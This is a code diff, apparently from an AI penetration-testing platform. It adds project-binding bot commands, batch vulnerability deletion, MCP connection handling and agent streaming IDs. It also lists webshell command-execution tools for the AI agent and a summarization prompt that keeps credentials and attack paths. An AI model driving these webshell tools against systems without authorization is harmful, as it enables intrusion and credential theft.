|
return "暂无项目。发送「新建项目 <名称>」创建并绑定到当前对话。"
|
||||||
|
}
|
||||||
|
var b strings.Builder
|
||||||
|
b.WriteString("【项目列表】\n")
|
||||||
|
for i, p := range list {
|
||||||
|
if i >= 20 {
|
||||||
|
b.WriteString("… 仅显示前 20 条\n")
|
||||||
|
break
|
||||||
|
}
|
||||||
|
status := p.Status
|
||||||
|
if status == "" {
|
||||||
|
status = "active"
|
||||||
|
}
|
||||||
|
b.WriteString(fmt.Sprintf("· %s [%s]\n ID: %s\n", p.Name, status, p.ID))
|
||||||
|
}
|
||||||
|
return strings.TrimSuffix(b.String(), "\n")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *RobotHandler) cmdBindProject(platform, userID, idOrName string) string {
|
||||||
|
if !h.projectsEnabled() {
|
||||||
|
return "项目功能未启用(config.project.enabled)。"
|
||||||
|
}
|
||||||
|
p, errMsg := h.resolveProjectByIDOrName(idOrName)
|
||||||
|
if p == nil {
|
||||||
|
return errMsg
|
||||||
|
}
|
||||||
|
convID, _ := h.getOrCreateConversation(platform, userID, "")
|
||||||
|
if convID == "" {
|
||||||
|
return "无法获取当前对话,请稍后再试。"
|
||||||
|
}
|
||||||
|
if err := h.db.SetConversationProjectID(convID, p.ID); err != nil {
|
||||||
|
return "绑定失败: " + err.Error()
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("已将当前对话绑定到项目:「%s」\nID: %s", p.Name, p.ID)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *RobotHandler) cmdNewProject(platform, userID, name string) string {
|
||||||
|
if !h.projectsEnabled() {
|
||||||
|
return "项目功能未启用(config.project.enabled)。"
|
||||||
|
}
|
||||||
|
name = strings.TrimSpace(name)
|
||||||
|
if name == "" {
|
||||||
|
return "请指定项目名称,例如:新建项目 某目标渗透"
|
||||||
|
}
|
||||||
|
p := &database.Project{Name: name, Status: "active"}
|
||||||
|
created, err := h.db.CreateProject(p)
|
||||||
|
if err != nil {
|
||||||
|
return "创建项目失败: " + err.Error()
|
||||||
|
}
|
||||||
|
convID, _ := h.getOrCreateConversation(platform, userID, name)
|
||||||
|
if convID == "" {
|
||||||
|
return fmt.Sprintf("项目已创建:「%s」\nID: %s\n(绑定当前对话失败,请手动发送「绑定项目 %s」)", created.Name, created.ID, created.ID)
|
||||||
|
}
|
||||||
|
if err := h.db.SetConversationProjectID(convID, created.ID); err != nil {
|
||||||
|
return fmt.Sprintf("项目已创建:「%s」\nID: %s\n绑定失败: %s", created.Name, created.ID, err.Error())
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("已创建项目并绑定当前对话:「%s」\nID: %s", created.Name, created.ID)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *RobotHandler) cmdUnbindProject(platform, userID string) string {
|
||||||
|
if !h.projectsEnabled() {
|
||||||
|
return "项目功能未启用(config.project.enabled)。"
|
||||||
|
}
|
||||||
|
sk := h.sessionKey(platform, userID)
|
||||||
|
h.mu.RLock()
|
||||||
|
convID := h.sessions[sk]
|
||||||
|
h.mu.RUnlock()
|
||||||
|
if convID == "" {
|
||||||
|
if persistedConvID, _ := h.loadSessionBinding(sk); persistedConvID != "" {
|
||||||
|
convID = persistedConvID
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if convID == "" {
|
||||||
|
return "当前没有进行中的对话,无需解除绑定。"
|
||||||
|
}
|
||||||
|
projectID, err := h.db.GetConversationProjectID(convID)
|
||||||
|
if err != nil {
|
||||||
|
return "获取对话项目失败: " + err.Error()
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(projectID) == "" {
|
||||||
|
return "当前对话未绑定项目。"
|
||||||
|
}
|
||||||
|
if err := h.db.SetConversationProjectID(convID, ""); err != nil {
|
||||||
|
return "解除绑定失败: " + err.Error()
|
||||||
|
}
|
||||||
|
return "已解除当前对话的项目绑定。"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *RobotHandler) cmdList() string {
|
func (h *RobotHandler) cmdList() string {
|
||||||
@@ -357,7 +517,12 @@ func (h *RobotHandler) cmdCurrent(platform, userID string) string {
|
|||||||
return "当前对话 ID: " + convID + "(获取标题失败)"
|
return "当前对话 ID: " + convID + "(获取标题失败)"
|
||||||
}
|
}
|
||||||
role := h.getRole(platform, userID)
|
role := h.getRole(platform, userID)
|
||||||
return fmt.Sprintf("当前对话:「%s」\nID: %s\n当前角色: %s", conv.Title, conv.ID, role)
|
reply := fmt.Sprintf("当前对话:「%s」\nID: %s\n当前角色: %s", conv.Title, conv.ID, role)
|
||||||
|
if h.projectsEnabled() {
|
||||||
|
projectID, _ := h.db.GetConversationProjectID(conv.ID)
|
||||||
|
reply += "\n当前项目: " + h.formatProjectLabel(projectID)
|
||||||
|
}
|
||||||
|
return reply
|
||||||
}
|
}
|
||||||
|
|
||||||
func (h *RobotHandler) cmdRoles() string {
|
func (h *RobotHandler) cmdRoles() string {
|
||||||
@@ -494,6 +659,26 @@ func (h *RobotHandler) handleRobotCommand(platform, userID, text string) (string
|
|||||||
return h.cmdDelete(platform, userID, convID), true
|
return h.cmdDelete(platform, userID, convID), true
|
||||||
case text == robotCmdVersion || text == "version":
|
case text == robotCmdVersion || text == "version":
|
||||||
return h.cmdVersion(), true
|
return h.cmdVersion(), true
|
||||||
|
case text == robotCmdProjects || text == robotCmdProjectsList || text == "projects":
|
||||||
|
return h.cmdProjects(), true
|
||||||
|
case text == robotCmdUnbindProject || text == "unbind project":
|
||||||
|
return h.cmdUnbindProject(platform, userID), true
|
||||||
|
case strings.HasPrefix(text, robotCmdNewProject+" ") || strings.HasPrefix(text, "new project "):
|
||||||
|
var name string
|
||||||
|
if strings.HasPrefix(text, robotCmdNewProject+" ") {
|
||||||
|
name = strings.TrimSpace(text[len(robotCmdNewProject)+1:])
|
||||||
|
} else {
|
||||||
|
name = strings.TrimSpace(text[len("new project "):])
|
||||||
|
}
|
||||||
|
return h.cmdNewProject(platform, userID, name), true
|
||||||
|
case strings.HasPrefix(text, robotCmdBindProject+" ") || strings.HasPrefix(text, "bind project "):
|
||||||
|
var idOrName string
|
||||||
|
if strings.HasPrefix(text, robotCmdBindProject+" ") {
|
||||||
|
idOrName = strings.TrimSpace(text[len(robotCmdBindProject)+1:])
|
||||||
|
} else {
|
||||||
|
idOrName = strings.TrimSpace(text[len("bind project "):])
|
||||||
|
}
|
||||||
|
return h.cmdBindProject(platform, userID, idOrName), true
|
||||||
default:
|
default:
|
||||||
return "", false
|
return "", false
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -311,6 +311,38 @@ func (h *VulnerabilityHandler) DeleteVulnerability(c *gin.Context) {
|
|||||||
c.JSON(http.StatusOK, gin.H{"message": "删除成功"})
|
c.JSON(http.StatusOK, gin.H{"message": "删除成功"})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// BatchDeleteVulnerabilities 按当前筛选条件批量删除漏洞
|
||||||
|
func (h *VulnerabilityHandler) BatchDeleteVulnerabilities(c *gin.Context) {
|
||||||
|
filter := parseVulnerabilityListFilter(c)
|
||||||
|
|
||||||
|
total, err := h.db.CountVulnerabilities(filter)
|
||||||
|
if err != nil {
|
||||||
|
h.logger.Error("统计待删除漏洞失败", zap.Error(err))
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if total == 0 {
|
||||||
|
c.JSON(http.StatusOK, gin.H{"message": "当前筛选条件下没有可删除的漏洞", "deleted": 0})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
deleted, err := h.db.DeleteVulnerabilitiesByFilter(filter)
|
||||||
|
if err != nil {
|
||||||
|
h.logger.Error("批量删除漏洞失败", zap.Error(err), zap.Int("count", total))
|
||||||
|
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if h.audit != nil {
|
||||||
|
h.audit.RecordOK(c, "vulnerability", "delete_batch", "批量删除漏洞记录", "vulnerability", "", map[string]interface{}{
|
||||||
|
"deleted": deleted,
|
||||||
|
"filter": filter,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
c.JSON(http.StatusOK, gin.H{"message": "批量删除成功", "deleted": deleted})
|
||||||
|
}
|
||||||
|
|
||||||
// GetVulnerabilityStats 获取漏洞统计
|
// GetVulnerabilityStats 获取漏洞统计
|
||||||
func (h *VulnerabilityHandler) GetVulnerabilityStats(c *gin.Context) {
|
func (h *VulnerabilityHandler) GetVulnerabilityStats(c *gin.Context) {
|
||||||
filter := parseVulnerabilityListFilter(c)
|
filter := parseVulnerabilityListFilter(c)
|
||||||
|
|||||||
@@ -20,6 +20,9 @@ const (
|
|||||||
ToolListKnowledgeRiskTypes = "list_knowledge_risk_types"
|
ToolListKnowledgeRiskTypes = "list_knowledge_risk_types"
|
||||||
ToolSearchKnowledgeBase = "search_knowledge_base"
|
ToolSearchKnowledgeBase = "search_knowledge_base"
|
||||||
|
|
||||||
|
// 视觉分析(本地图片 → VL 模型 → 文本摘要)
|
||||||
|
ToolAnalyzeImage = "analyze_image"
|
||||||
|
|
||||||
// WebShell 助手工具(AI 在 WebShell 管理 - AI 助手 中使用)
|
// WebShell 助手工具(AI 在 WebShell 管理 - AI 助手 中使用)
|
||||||
ToolWebshellExec = "webshell_exec"
|
ToolWebshellExec = "webshell_exec"
|
||||||
ToolWebshellFileList = "webshell_file_list"
|
ToolWebshellFileList = "webshell_file_list"
|
||||||
@@ -73,6 +76,7 @@ func IsBuiltinTool(toolName string) bool {
|
|||||||
ToolRestoreProjectFact,
|
ToolRestoreProjectFact,
|
||||||
ToolListKnowledgeRiskTypes,
|
ToolListKnowledgeRiskTypes,
|
||||||
ToolSearchKnowledgeBase,
|
ToolSearchKnowledgeBase,
|
||||||
|
ToolAnalyzeImage,
|
||||||
ToolWebshellExec,
|
ToolWebshellExec,
|
||||||
ToolWebshellFileList,
|
ToolWebshellFileList,
|
||||||
ToolWebshellFileRead,
|
ToolWebshellFileRead,
|
||||||
@@ -124,6 +128,7 @@ func GetAllBuiltinTools() []string {
|
|||||||
ToolRestoreProjectFact,
|
ToolRestoreProjectFact,
|
||||||
ToolListKnowledgeRiskTypes,
|
ToolListKnowledgeRiskTypes,
|
||||||
ToolSearchKnowledgeBase,
|
ToolSearchKnowledgeBase,
|
||||||
|
ToolAnalyzeImage,
|
||||||
ToolWebshellExec,
|
ToolWebshellExec,
|
||||||
ToolWebshellFileList,
|
ToolWebshellFileList,
|
||||||
ToolWebshellFileRead,
|
ToolWebshellFileRead,
|
||||||
|
|||||||
@@ -44,11 +44,12 @@ func newSDKClientFromSession(session *mcp.ClientSession, client *mcp.Client, log
|
|||||||
|
|
||||||
// lazySDKClient 延迟连接:Initialize() 时才调用官方 SDK 建立连接,对外实现 ExternalMCPClient
|
// lazySDKClient 延迟连接:Initialize() 时才调用官方 SDK 建立连接,对外实现 ExternalMCPClient
|
||||||
type lazySDKClient struct {
|
type lazySDKClient struct {
|
||||||
serverCfg config.ExternalMCPServerConfig
|
serverCfg config.ExternalMCPServerConfig
|
||||||
logger *zap.Logger
|
logger *zap.Logger
|
||||||
inner ExternalMCPClient // 连接成功后为 *sdkClient
|
sessionCancel context.CancelFunc
|
||||||
mu sync.RWMutex
|
inner ExternalMCPClient // connected SDK client
|
||||||
status string
|
mu sync.RWMutex
|
||||||
|
status string
|
||||||
}
|
}
|
||||||
|
|
||||||
func newLazySDKClient(serverCfg config.ExternalMCPServerConfig, logger *zap.Logger) *lazySDKClient {
|
func newLazySDKClient(serverCfg config.ExternalMCPServerConfig, logger *zap.Logger) *lazySDKClient {
|
||||||
@@ -92,14 +93,61 @@ func (c *lazySDKClient) Initialize(ctx context.Context) error {
|
|||||||
}
|
}
|
||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
|
|
||||||
inner, err := createSDKClient(ctx, c.serverCfg, c.logger)
|
sessionCtx, sessionCancel := context.WithCancel(context.Background())
|
||||||
if err != nil {
|
type connectResult struct {
|
||||||
|
inner ExternalMCPClient
|
||||||
|
err error
|
||||||
|
}
|
||||||
|
resultCh := make(chan connectResult)
|
||||||
|
abandoned := make(chan struct{})
|
||||||
|
go func() {
|
||||||
|
inner, err := createSDKClient(sessionCtx, c.serverCfg, c.logger)
|
||||||
|
select {
|
||||||
|
case resultCh <- connectResult{inner: inner, err: err}:
|
||||||
|
case <-abandoned:
|
||||||
|
if inner != nil {
|
||||||
|
_ = inner.Close()
|
||||||
|
}
|
||||||
|
sessionCancel()
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
var result connectResult
|
||||||
|
select {
|
||||||
|
case result = <-resultCh:
|
||||||
|
case <-ctx.Done():
|
||||||
|
close(abandoned)
|
||||||
|
sessionCancel()
|
||||||
|
c.setStatus("error")
|
||||||
|
return ctx.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := ctx.Err(); err != nil {
|
||||||
|
sessionCancel()
|
||||||
|
if result.inner != nil {
|
||||||
|
_ = result.inner.Close()
|
||||||
|
}
|
||||||
c.setStatus("error")
|
c.setStatus("error")
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if result.err != nil {
|
||||||
|
sessionCancel()
|
||||||
|
c.setStatus("error")
|
||||||
|
return result.err
|
||||||
|
}
|
||||||
|
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
c.inner = inner
|
if c.inner != nil {
|
||||||
|
c.mu.Unlock()
|
||||||
|
sessionCancel()
|
||||||
|
if result.inner != nil {
|
||||||
|
_ = result.inner.Close()
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
c.inner = result.inner
|
||||||
|
c.sessionCancel = sessionCancel
|
||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
c.setStatus("connected")
|
c.setStatus("connected")
|
||||||
return nil
|
return nil
|
||||||
@@ -128,9 +176,14 @@ func (c *lazySDKClient) CallTool(ctx context.Context, name string, args map[stri
|
|||||||
func (c *lazySDKClient) Close() error {
|
func (c *lazySDKClient) Close() error {
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
inner := c.inner
|
inner := c.inner
|
||||||
|
sessionCancel := c.sessionCancel
|
||||||
c.inner = nil
|
c.inner = nil
|
||||||
|
c.sessionCancel = nil
|
||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
c.setStatus("disconnected")
|
c.setStatus("disconnected")
|
||||||
|
if sessionCancel != nil {
|
||||||
|
sessionCancel()
|
||||||
|
}
|
||||||
if inner != nil {
|
if inner != nil {
|
||||||
return inner.Close()
|
return inner.Close()
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -176,6 +176,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
lastPlanExecuteExecutor = ""
|
lastPlanExecuteExecutor = ""
|
||||||
var reasoningStreamSeq int64
|
var reasoningStreamSeq int64
|
||||||
var einoSubReplyStreamSeq int64
|
var einoSubReplyStreamSeq int64
|
||||||
|
var mainResponseStreamSeq int64
|
||||||
toolEmitSeen := make(map[string]struct{})
|
toolEmitSeen := make(map[string]struct{})
|
||||||
var einoMainRound int
|
var einoMainRound int
|
||||||
var einoLastAgent string
|
var einoLastAgent string
|
||||||
@@ -632,6 +633,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
mv := ev.Output.MessageOutput
|
mv := ev.Output.MessageOutput
|
||||||
|
|
||||||
if mv.IsStreaming && mv.MessageStream != nil {
|
if mv.IsStreaming && mv.MessageStream != nil {
|
||||||
|
mainStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
|
||||||
streamHeaderSent := false
|
streamHeaderSent := false
|
||||||
var reasoningStreamID string
|
var reasoningStreamID string
|
||||||
var toolStreamFragments []schema.ToolCall
|
var toolStreamFragments []schema.ToolCall
|
||||||
@@ -738,6 +740,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
"einoRole": "orchestrator",
|
"einoRole": "orchestrator",
|
||||||
"einoAgent": ev.AgentName,
|
"einoAgent": ev.AgentName,
|
||||||
"orchestration": orchMode,
|
"orchestration": orchMode,
|
||||||
|
"iteration": einoMainRound,
|
||||||
|
"streamId": mainStreamID,
|
||||||
})
|
})
|
||||||
streamHeaderSent = true
|
streamHeaderSent = true
|
||||||
}
|
}
|
||||||
@@ -747,6 +751,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
"einoRole": "orchestrator",
|
"einoRole": "orchestrator",
|
||||||
"einoAgent": ev.AgentName,
|
"einoAgent": ev.AgentName,
|
||||||
"orchestration": orchMode,
|
"orchestration": orchMode,
|
||||||
|
"iteration": einoMainRound,
|
||||||
|
"streamId": mainStreamID,
|
||||||
}, mainAssistantBuf))
|
}, mainAssistantBuf))
|
||||||
mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, contentDelta)
|
mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, contentDelta)
|
||||||
}
|
}
|
||||||
@@ -806,6 +812,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
"einoRole": "orchestrator",
|
"einoRole": "orchestrator",
|
||||||
"einoAgent": ev.AgentName,
|
"einoAgent": ev.AgentName,
|
||||||
"orchestration": orchMode,
|
"orchestration": orchMode,
|
||||||
|
"iteration": einoMainRound,
|
||||||
|
"streamId": mainStreamID,
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
progress("response_delta", eofTail, openai.WithSSEAccumulated(map[string]interface{}{
|
progress("response_delta", eofTail, openai.WithSSEAccumulated(map[string]interface{}{
|
||||||
@@ -814,6 +822,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
"einoRole": "orchestrator",
|
"einoRole": "orchestrator",
|
||||||
"einoAgent": ev.AgentName,
|
"einoAgent": ev.AgentName,
|
||||||
"orchestration": orchMode,
|
"orchestration": orchMode,
|
||||||
|
"iteration": einoMainRound,
|
||||||
|
"streamId": mainStreamID,
|
||||||
}, mainAssistantBuf))
|
}, mainAssistantBuf))
|
||||||
mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, eofTail)
|
mainAssistWireAccum, _ = normalizeStreamingDelta(mainAssistWireAccum, eofTail)
|
||||||
}
|
}
|
||||||
@@ -916,6 +926,7 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
}
|
}
|
||||||
executeStdoutDupMu.Unlock()
|
executeStdoutDupMu.Unlock()
|
||||||
if progress != nil {
|
if progress != nil {
|
||||||
|
nonStreamID := fmt.Sprintf("eino-main-%s-%d", conversationID, atomic.AddInt64(&mainResponseStreamSeq, 1))
|
||||||
progress("response_start", "", map[string]interface{}{
|
progress("response_start", "", map[string]interface{}{
|
||||||
"conversationId": conversationID,
|
"conversationId": conversationID,
|
||||||
"mcpExecutionIds": snapshotMCPIDs(),
|
"mcpExecutionIds": snapshotMCPIDs(),
|
||||||
@@ -923,6 +934,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
"einoRole": "orchestrator",
|
"einoRole": "orchestrator",
|
||||||
"einoAgent": ev.AgentName,
|
"einoAgent": ev.AgentName,
|
||||||
"orchestration": orchMode,
|
"orchestration": orchMode,
|
||||||
|
"iteration": einoMainRound,
|
||||||
|
"streamId": nonStreamID,
|
||||||
})
|
})
|
||||||
progress("response_delta", body, openai.WithSSEAccumulated(map[string]interface{}{
|
progress("response_delta", body, openai.WithSSEAccumulated(map[string]interface{}{
|
||||||
"conversationId": conversationID,
|
"conversationId": conversationID,
|
||||||
@@ -930,6 +943,8 @@ func runEinoADKAgentLoop(ctx context.Context, args *einoADKRunLoopArgs, baseMsgs
|
|||||||
"einoRole": "orchestrator",
|
"einoRole": "orchestrator",
|
||||||
"einoAgent": ev.AgentName,
|
"einoAgent": ev.AgentName,
|
||||||
"orchestration": orchMode,
|
"orchestration": orchMode,
|
||||||
|
"iteration": einoMainRound,
|
||||||
|
"streamId": nonStreamID,
|
||||||
}, body))
|
}, body))
|
||||||
}
|
}
|
||||||
lastAssistant = body
|
lastAssistant = body
|
||||||
|
|||||||
@@ -43,22 +43,6 @@ func sanitizeEinoPathSegment(s string) string {
|
|||||||
return s
|
return s
|
||||||
}
|
}
|
||||||
|
|
||||||
// localPlantaskBackend wraps the eino-ext local backend with plantask.Delete (Local has no Delete).
|
|
||||||
type localPlantaskBackend struct {
|
|
||||||
*localbk.Local
|
|
||||||
}
|
|
||||||
|
|
||||||
func (l *localPlantaskBackend) Delete(ctx context.Context, req *plantask.DeleteRequest) error {
|
|
||||||
if l == nil || l.Local == nil || req == nil {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
p := strings.TrimSpace(req.FilePath)
|
|
||||||
if p == "" {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
return os.Remove(p)
|
|
||||||
}
|
|
||||||
|
|
||||||
func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
|
func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
|
||||||
if alwaysVisible <= 0 || len(all) <= alwaysVisible+1 {
|
if alwaysVisible <= 0 || len(all) <= alwaysVisible+1 {
|
||||||
return all, nil, false
|
return all, nil, false
|
||||||
@@ -238,7 +222,7 @@ func prependEinoMiddlewares(
|
|||||||
if mk := os.MkdirAll(baseDir, 0o755); mk != nil {
|
if mk := os.MkdirAll(baseDir, 0o755); mk != nil {
|
||||||
return nil, nil, toolSearchActive, fmt.Errorf("plantask mkdir: %w", mk)
|
return nil, nil, toolSearchActive, fmt.Errorf("plantask mkdir: %w", mk)
|
||||||
}
|
}
|
||||||
ptBE := &localPlantaskBackend{Local: einoLoc}
|
ptBE := newLocalPlantaskBackend(einoLoc)
|
||||||
pt, perr := plantask.New(ctx, &plantask.Config{Backend: ptBE, BaseDir: baseDir})
|
pt, perr := plantask.New(ctx, &plantask.Config{Backend: ptBE, BaseDir: baseDir})
|
||||||
if perr != nil {
|
if perr != nil {
|
||||||
return nil, nil, toolSearchActive, fmt.Errorf("plantask: %w", perr)
|
return nil, nil, toolSearchActive, fmt.Errorf("plantask: %w", perr)
|
||||||
|
|||||||
@@ -26,7 +26,7 @@ import (
|
|||||||
const einoSingleAgentName = "cyberstrike-eino-single"
|
const einoSingleAgentName = "cyberstrike-eino-single"
|
||||||
|
|
||||||
// RunEinoSingleChatModelAgent 使用 Eino adk.NewChatModelAgent + adk.NewRunner.Run(官方 Quick Start 的 Query 同属 Runner API;此处用历史 + 用户消息切片等价于多轮 Query)。
|
// RunEinoSingleChatModelAgent 使用 Eino adk.NewChatModelAgent + adk.NewRunner.Run(官方 Quick Start 的 Query 同属 Runner API;此处用历史 + 用户消息切片等价于多轮 Query)。
|
||||||
// 不替代既有原生 ReAct;与 RunDeepAgent 共享 runEinoADKAgentLoop 的 SSE 映射与 MCP 桥。
|
// 与 RunDeepAgent 共享 runEinoADKAgentLoop 的 SSE 映射与 MCP 桥。
|
||||||
func RunEinoSingleChatModelAgent(
|
func RunEinoSingleChatModelAgent(
|
||||||
ctx context.Context,
|
ctx context.Context,
|
||||||
appCfg *config.Config,
|
appCfg *config.Config,
|
||||||
@@ -117,6 +117,7 @@ func RunEinoSingleChatModelAgent(
|
|||||||
},
|
},
|
||||||
}
|
}
|
||||||
httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient)
|
httpClient = openai.NewEinoHTTPClient(&appCfg.OpenAI, httpClient)
|
||||||
|
openai.AttachSummarizationDiagTransport(httpClient, logger)
|
||||||
|
|
||||||
baseModelCfg := &einoopenai.ChatModelConfig{
|
baseModelCfg := &einoopenai.ChatModelConfig{
|
||||||
APIKey: appCfg.OpenAI.APIKey,
|
APIKey: appCfg.OpenAI.APIKey,
|
||||||
@@ -160,13 +161,7 @@ func RunEinoSingleChatModelAgent(
|
|||||||
handlers = append(handlers, capMw)
|
handlers = append(handlers, capMw)
|
||||||
}
|
}
|
||||||
|
|
||||||
maxIter := ma.MaxIteration
|
maxIter := agentMaxIterations(appCfg)
|
||||||
if maxIter <= 0 {
|
|
||||||
maxIter = appCfg.Agent.MaxIterations
|
|
||||||
}
|
|
||||||
if maxIter <= 0 {
|
|
||||||
maxIter = 40
|
|
||||||
}
|
|
||||||
|
|
||||||
mainToolsCfg := adk.ToolsConfig{
|
mainToolsCfg := adk.ToolsConfig{
|
||||||
ToolsNodeConfig: compose.ToolsNodeConfig{
|
ToolsNodeConfig: compose.ToolsNodeConfig{
|
||||||
@@ -180,6 +175,7 @@ func RunEinoSingleChatModelAgent(
|
|||||||
EmitInternalEvents: true,
|
EmitInternalEvents: true,
|
||||||
}
|
}
|
||||||
ins := project.AppendSystemPromptBlock(ag.EinoSingleAgentSystemInstruction(), systemPromptExtra)
|
ins := project.AppendSystemPromptBlock(ag.EinoSingleAgentSystemInstruction(), systemPromptExtra)
|
||||||
|
ins = project.AppendVisionImageAnalysisIfReady(ins, appCfg.Vision.Ready())
|
||||||
ins = injectToolNamesOnlyInstruction(ctx, ins, mainTools, singleToolSearchActive)
|
ins = injectToolNamesOnlyInstruction(ctx, ins, mainTools, singleToolSearchActive)
|
||||||
if logger != nil {
|
if logger != nil {
|
||||||
names := collectToolNames(ctx, mainTools)
|
names := collectToolNames(ctx, mainTools)
|
||||||
|
|||||||
@@ -9,16 +9,20 @@ import (
|
|||||||
|
|
||||||
"cyberstrike-ai/internal/agent"
|
"cyberstrike-ai/internal/agent"
|
||||||
"cyberstrike-ai/internal/config"
|
"cyberstrike-ai/internal/config"
|
||||||
|
copenai "cyberstrike-ai/internal/openai"
|
||||||
|
|
||||||
"github.com/bytedance/sonic"
|
"github.com/bytedance/sonic"
|
||||||
"github.com/cloudwego/eino/adk"
|
"github.com/cloudwego/eino/adk"
|
||||||
"github.com/cloudwego/eino/adk/middlewares/summarization"
|
"github.com/cloudwego/eino/adk/middlewares/summarization"
|
||||||
"github.com/cloudwego/eino/components/model"
|
"github.com/cloudwego/eino/components/model"
|
||||||
"github.com/cloudwego/eino/schema"
|
"github.com/cloudwego/eino/schema"
|
||||||
|
einoopenai "github.com/cloudwego/eino-ext/components/model/openai"
|
||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
|
|
||||||
// einoSummarizeUserInstruction 与单 Agent MemoryCompressor 目标一致:压缩时保留渗透关键信息。
|
const defaultSummarizationRetryMax = 3
|
||||||
|
|
||||||
|
// einoSummarizeUserInstruction:压缩历史时保留渗透测试关键信息。
|
||||||
const einoSummarizeUserInstruction = `在保持所有关键安全测试信息完整的前提下压缩对话历史。
|
const einoSummarizeUserInstruction = `在保持所有关键安全测试信息完整的前提下压缩对话历史。
|
||||||
|
|
||||||
必须保留:已确认漏洞与攻击路径、工具输出中的核心发现、凭证与认证细节、架构与薄弱点、当前进度、失败尝试与死路、策略决策。
|
必须保留:已确认漏洞与攻击路径、工具输出中的核心发现、凭证与认证细节、架构与薄弱点、当前进度、失败尝试与死路、策略决策。
|
||||||
@@ -29,7 +33,7 @@ const einoSummarizeUserInstruction = `在保持所有关键安全测试信息完
|
|||||||
输出须使后续代理能无缝继续同一授权测试任务。`
|
输出须使后续代理能无缝继续同一授权测试任务。`
|
||||||
|
|
||||||
// newEinoSummarizationMiddleware 使用 Eino ADK Summarization 中间件(见 https://www.cloudwego.io/zh/docs/eino/core_modules/eino_adk/eino_adk_chatmodelagentmiddleware/middleware_summarization/)。
|
// newEinoSummarizationMiddleware 使用 Eino ADK Summarization 中间件(见 https://www.cloudwego.io/zh/docs/eino/core_modules/eino_adk/eino_adk_chatmodelagentmiddleware/middleware_summarization/)。
|
||||||
// 触发阈值与单 Agent MemoryCompressor 一致:当估算 token 超过 openai.max_total_tokens 的 90% 时摘要。
|
// 触发阈值:估算 token 超过 openai.max_total_tokens * summarization_trigger_ratio(默认 0.8)时摘要。
|
||||||
func newEinoSummarizationMiddleware(
|
func newEinoSummarizationMiddleware(
|
||||||
ctx context.Context,
|
ctx context.Context,
|
||||||
summaryModel model.BaseChatModel,
|
summaryModel model.BaseChatModel,
|
||||||
@@ -89,8 +93,32 @@ func newEinoSummarizationMiddleware(
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
retryMax := defaultSummarizationRetryMax
|
||||||
|
if mwCfg != nil && mwCfg.SummarizationRetryMaxAttempts > 0 {
|
||||||
|
retryMax = mwCfg.SummarizationRetryMaxAttempts
|
||||||
|
}
|
||||||
|
|
||||||
|
// ModelOptions apply only to summarization Generate (same ChatModel instance as the agent).
|
||||||
|
// Strip thinking/reasoning on this call path; mark requests for empty-choices diagnostics.
|
||||||
|
summaryModelOpts := []model.Option{
|
||||||
|
einoopenai.WithExtraHeader(map[string]string{
|
||||||
|
copenai.SummarizationRequestHeader: "1",
|
||||||
|
}),
|
||||||
|
einoopenai.WithRequestPayloadModifier(func(_ context.Context, in []*schema.Message, rawBody []byte) ([]byte, error) {
|
||||||
|
if logger != nil {
|
||||||
|
logger.Info("eino summarization generate request",
|
||||||
|
zap.Int("input_messages", len(in)),
|
||||||
|
zap.Int("payload_bytes", len(rawBody)),
|
||||||
|
zap.String("model", modelName),
|
||||||
|
)
|
||||||
|
}
